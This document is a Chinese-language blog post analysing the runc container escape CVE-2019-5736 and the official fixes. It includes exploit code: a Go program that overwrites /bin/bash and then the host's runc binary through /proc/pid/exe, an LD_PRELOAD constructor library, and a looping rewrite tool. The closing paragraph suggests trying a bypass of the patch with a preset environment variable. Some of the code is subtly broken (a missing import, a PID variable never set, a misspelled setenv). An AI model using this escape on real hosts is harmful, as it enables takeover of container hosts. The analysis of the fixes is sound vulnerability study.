探究 CVE-2019-5736 Runc 容器逃逸

前言

在翻漏洞的偶然看见这个洞,发现很有意思,docker 容器逃逸,出现问题在于docker 里面的runc。runc是docker中最为核心的部分,容器的创建,运行,销毁等等操作最终都将通过调用runc完成。不仅仅是docker会受影响,依赖于runc的应用都会受到影响,该漏洞将会Rewrite runc,执行任意命令,下面我们来看一看它的实现方式。

proc && execve

/proc 是一个伪文件系统,这个伪文件系统让你可以和内核内部数据结构进行交互,与真正的文件系统不同的是它是存在于内存中而不是真正的硬盘上,linux 下有一个说法一切皆文件,所有在linux上运行的程序都在/proc下有一个自己的目录,目录名字为程序的Pid号,目录里面存储着许多关于进程的信息,列如进程状态status,进程启动时的相关命令cmdline,进程的内存映像maps,进程包含的所有相关的文件描述符fd文件夹等等

其中 /proc/pid/fd 中包含着进程打开的所有文件的文件描述符,这些文件描述符看起来像链接文件一样,通过ls -l 你可以看见这些文件的具体位置,但是它们并不是简单连接文件,你可以通过这些文件描述符再打开这些文件,你可以重新获得一个新的文件描述符,即使这些文件在你所在的位置是不能访问,你依然可以打开。

还一个 /proc/pid/exe 文件,这个文件指向进程本身的可执行文件。

除了这些进程pid文件目录内的文件,还有一个比较特别的/proc/self,这文件夹始终指向的是访问这个目录/proc/pid文件夹,所以除了通过自己的pid号访问进程信息,还可以通过/proc/self 来访问,不需要知道自己的pid号。

execve 是一个内核系统调用函数,execve()fork()clone()不一样,它不需要启动新的进程,它直接替换当前执行的文件为新的文件,为新的可执行文件分配新初始化的堆栈和数据段。替换可执行文件,意味着释放调用execve()文件的IO,但这个过程默认是不释放/proc/pid/fd中的打开的文件描述符,如果你在打开/proc/pid/fd中文件的时候,特别的传参O_CLOEXEC或者 FD_CLOEXEC,那么在execve替换进程的时候,将关闭所有设置了这个选项的fd,阻止子进程继承父进程打开的fd

动态链接

在可执行文件运行的时候,由操作系统的装载程序加载库,比如在linux 下由ld.so,ld-linux.so 查找并且装载程序所依赖的动态链接对象。这里有一个需要的注意的

1
/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls -al /proc/self/exe
这个时候 /proc/self/exe 并不是指向你所想象的那样为 /bin/ls, 而是/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

还有一个熟悉的LD_PRELOAD的环境变量,用于指定的动态库加载,优先级最高,可以用他做很多事,这里也可以用到。

漏洞成因

尽管docker的本意并不是来做沙盒的,容器包含着虚拟的环境,在虚拟的文件系统里面依然是root 权限,但也是算比较低的权限,也默认了容器的安全性。看似容器独立存在,不可避免的需要去思考这个过程是不是存在问题。

进入正题,runc 完成容器的初始化 ,运行 ,执行命令。我们首先来看看它是如何执行命令的。我们首先启动一个基础的Ubuntu容器

图片

接着在容器里面运行下面监听进程启动程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main

import (
"fmt"
"io/ioutil"
_ "os"
"strconv"
"strings"
)

func main() {
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
fmt.Println(fstring)
fmt.Println("[+] Found the PID:", f.Name())
_, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
}
图片

上面过程我们通过监听 runc 和 ls 的执行,所以我们只需要执行

1
docker exec -it f3c ls
监听输出如下图 图片 首先是运行了docker-runc init,后执行了ls,可以看见过程中pid号没有变,可以想到runc 在启动新的进程的时候用的是syscall.Exec()execve(),在容器里面我们并不能运行docker-runc 因为namespace不一样,容器类的一切都被限定单独的namespace里面,但是你可以看到我是可以访问/proc下所有进程的信息,通过遍历/proc,我们可以得到runc 进程的pid号,并且我可以访问这个pid号下所有关于runc 的信息。同样包括runc的执行文件 ->/proc/pid[runc]/exe,这意味着我们是不是可以去尝试修改这个可执行文件,答案是不行,因为runc正在运行,如果你试着open 并且写东西进去,你会得到invalid arguments

如果想要写东西覆盖runc 必须等到runc运行结束。什么时候结束? 当execve() 运行新可执行文件。但是当runc 结束运行的时候,/proc/pid/exe将会被替换成新二进制可执行文件。所以这个时候去获得一个runc的fd文件描述符,并且保留下来,即 open()/proc/self/exe,并返回对应的fd, 这里打开的时候只需要O_RDONLY,这个时候你可以去看/proc/self/fd/下多了一个runc本身的fd,接着前面说到过,通过execve启动的新可执行文件是可以保留父进程打开的fd。

execve() 执行,会首先释放runc的IO ,这个时候就可以去写runc,通过前面打开 /proc/self/exe 拿到的fd,找到/proc/pid/fd/下对应的fd,这个时候可以用open(os.O_RDWR)打开runc,并且写入payload重置runc。

接着需要去思考如何在runc init 的时候去在进程里面进行open操作, 三种方法,分两种情况讨论:

  1. 在已经存在容器可以执行文件,通过docker exec 触发
  2. 构造恶意的容器,直接通过docker run 触发

第一种情况:

已经在容器里面了,你可以通过前面的方法等待docker-runc init 的执行,open() runc 获取fd, 再等待runc IO被释放。其中你可以通过覆盖docker exec 执行的二进制文件为 #!/proc/self/exe,到达覆盖之后执行的效果。 比如 /bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package main
import (
"fmt"
"io/ioutil"
_ "os"
"strconv"
"strings"
)
var payload = "#!/bin/bash \n echo hello > /tmp/funny"
func main() {

fd, err := os.Create("/bin/bash")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
//fmt.Println("[+] Waiting docker exec")
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
fmt.Println(fstring)
fmt.Println("[+] Found the PID:", f.Name())
_, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}

var handleFd = -1
for handleFd == -1 {
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}
流程可以理解为
循环等待 runc init的 PID --> open("/proc/pid/exe",O_RDONLY) -->循环等待execve()释放 runc的IO并覆盖runc二进制文件 --> execve()执行被覆盖 runc。

执行权限任意命令的权限为运行docker exec的权限。

第二种情况: 构造恶意的镜像,在运行容器的时候触发。这个时候你需要考虑,如何hook runc的运行过程,首先想到就是动态链接,可以设置环境变量LD_PRELOAD来给runc 添加一个动态库。这个动态库需要包含一个全局的构造函数,在被加载时候首先执行,即可以通过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

__attribute__ ((constructor)) void foo(void)
{
int fd = open("/proc/self/exe", O_RDONLY);
if (fd == -1 ) {
printf("HAX: can't open /proc/self/exe\n");
return;
}
printf("HAX: fd is %d\n", fd);

char *argv2[3];
argv2[0] = strdup("/rewrite");
char buf[128];
snprintf(buf, 128, "/proc/self/fd/%d", fd);
argv2[1] = buf;
argv2[2] = 0;
const char *ld_preload = "LD_PRELOAD";
const char *empty = "";
setevn(ld_preload,empty,1)
execve("/rewrite", argv2, NULL);
}
q3k 还提到一种方法,替换docker-runc中的动态加载库,这种方法和版本有关,我们可以先看一看docker-runc的动态加载库,

图片

可以看到有一个比较特殊的libseccomp,先去分析一下它的依赖,

图片

直接apt-get source libseccomp,seccomp 是linux 下一种安全模式,针对限制程序使用系统调用,PWN选手应该对他属性,很多用来做沙盒的环境,可以简单看一下的它的使用 列一些比较常见调用它的api seccomp_init 初始化过滤状态, seccomp_rule_add 增加过滤规则 seccomp_load 应用已经配置好的过滤内容

回到主题,前面说到我们这里可以去替换 libseccomp.so,在里面里面同样可以加一个全局的构造函数,在哪加呢? 可以去提供上面接口定义的位置src/api.c结尾直接加 。

前面说这种方法有一定的局限的情况,我尝试在低版本的docker-runc 里面是没有加载libseccomp.so,那么这种方法就不适用了,当然你也可以选择替换其他的动态库,还有一点q3k 的poc 里用来重写runc的可执行文件有一点小问题,我直接用它的poc时10次成功一次,发现问题出在写runc上,一直报错 Text file buzy , 怎么runc还会被占用呢,难道runc 在容器里又一次运行了?,经过我测试,在使用docker exec 执行命令的时候,容器里面只有 docker-runc init 一次,那么问题肯定出在容器外,由于我不想去看runc 实现过程,我把前面的简单的监测进程的程序再一次放到了容器外,于此同时再用docker exec 执行一次命令,如图下:

图片

果然在容器外面 runc 还会被再次运行,runc state 用来输出docker exec 执行结果,同样也有runc kill 和 runc delete 在后面的运行。所以这个写runc的过程可以在一个循环队列里面。稍微的改了改q3k的rewrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>


int main(int argc, char **argv) {
extern int errno;
const char *poc = "#!/bin/bash \n /usr/bin/touch /root/runc_test";
printf("HAX2: argv: %s\n", argv[1]);

while(1){
int fd = open(argv[1], O_RDWR|O_TRUNC);
if(fd>0){
printf("HAX2: fd: %d\n", fd);
int res = write(fd, poc, strlen(poc));
printf("HAX2: res: %d, %d\n", res, errno);
return 0;
}
}
return 0;
}

可以看到只要重写了runc ,docker 会自动帮你再次运行runc,下面看一看官方,对此的修复方式。

修复

官方前前后后修复了很多次,最终可以分为三种方法:

  1. memfd
  2. tmpfile
  3. bind-mount

其中tmpfile 使用文件的方法又可以分为,open(2)O_TMPFILEmkostemp(3).

接下来看看修复流程 ->

根据官方的commit runc/libcontainer/nsenter 多了一个cloned_binary.c, 并且runc/libcontainer/nsenter/nsexec.c 中nsexec()多了一行判断

1
2
if (ensure_cloned_binary() < 0)
bail("could not ensure we are a cloned binary");
根据nsenter 的doc 介绍,这是一个用来在runc init 之前设置namespace用的init 构造器,具体可以看看 nsenter.go 里面的内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package nsenter

/*
#cgo CFLAGS: -Wall

extern void nsexec();

void __attribute__((constructor)) init(void) {

nsexec();

}

*/
import "C"
使用了cgo包,根据cgo的语法,如果import "C"紧跟随在一段注释后面 ,那么注释里面的东西将会被被当做c 执行,即每次只要我们 import nsenter 包,就会执行nsexec(), nsenter 只在runc/init.go 下被引用,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main

import (
"os"
"runtime"
"github.com/opencontainers/runc/libcontainer"
_ "github.com/opencontainers/runc/libcontainer/nsenter"
"github.com/urfave/cli"

)

func init() {
if len(os.Args) > 1 && os.Args[1] == "init" {
runtime.GOMAXPROCS(1)
runtime.LockOSThread()
}
}

var initCommand = cli.Command{
Name: "init",
Usage: `initialize the namespaces and launch the process (do not call it outside of runc)`,
Action: func(context *cli.Context) error {
factory, _ := libcontainer.New("")
if err := factory.StartInitialization(); err != nil {
os.Exit(1)
}
panic("libcontainer: container init failed to exec")
},
}
可以看到只要执行 runc init的时候,nsexec()就会被执行,现在再具体去看看ensure_cloned_binary(),它用来判断/proc/self/exe是不是经过处理过,为了防止runc 被重写,官方最开始用的是memfd_create(2),可以用它在内存中创建一个匿名文件,并返回一个文件描述符fd,同时你可以传递一个 MFD_ALLOW_SEALING flag,它可以将允许文件密封操作,即将无法修改文件所在的,先将/proc/self/exe 写入 这个文件内,再用 fcntl(2) F_ADD_SEALS将这段文件内存密封起来。这样一来,你再用open(2),打开/proc/self/exe去写,将不会被允许。

同时还有一个open(2) O_TMPFILE 方法,将/proc/self/exe 写入 临时文件,这种方法受限于linux 内核版本问题,需要 >=3.11,而且也受限于 glibc。官方又扩展了另一种mkostemp(3)的方法用来写临时文件,没什么特别的。

上面三种方法都显得比较浪费,memfd_create(2) 的使用直接往内存写了一个runc 大概 10M,所以官方又提供了一种看起来是最简单的方法,用 bind-mount,直接使用 绑定挂载/proc/self/exe 到一个只能读的节点上,打开这个节点,再把这个挂载节点去掉。避免了对/proc/self/exe拷贝过程,但是和tmpfile 一样,你需要先创建一个临时文件,用来挂载/proc/self/exe

整个逃逸过程精髓在于对 /proc/pid 下结构的理解,/proc/self/exe指向进程的二进制文件本身,/proc/self/fd 可以继承父进程打开的文件描述符。namespace限制了很多东西,还有capabilities,限制了想通过/proc/exe/cwd 拿到runc的真实的路径。runc其实就是管理libcontainer 的客户端。问题还是在libcontainer上,在官方最后一次commit中,在判断是否经过处理的/proc/self/exe,会有一步判断是否设置了环境变量 **a _LIBCONTAINER_CLONED_BINARY** 标记处理过,如果我先设置这个环境变量会怎么样,有兴趣的朋友去试试。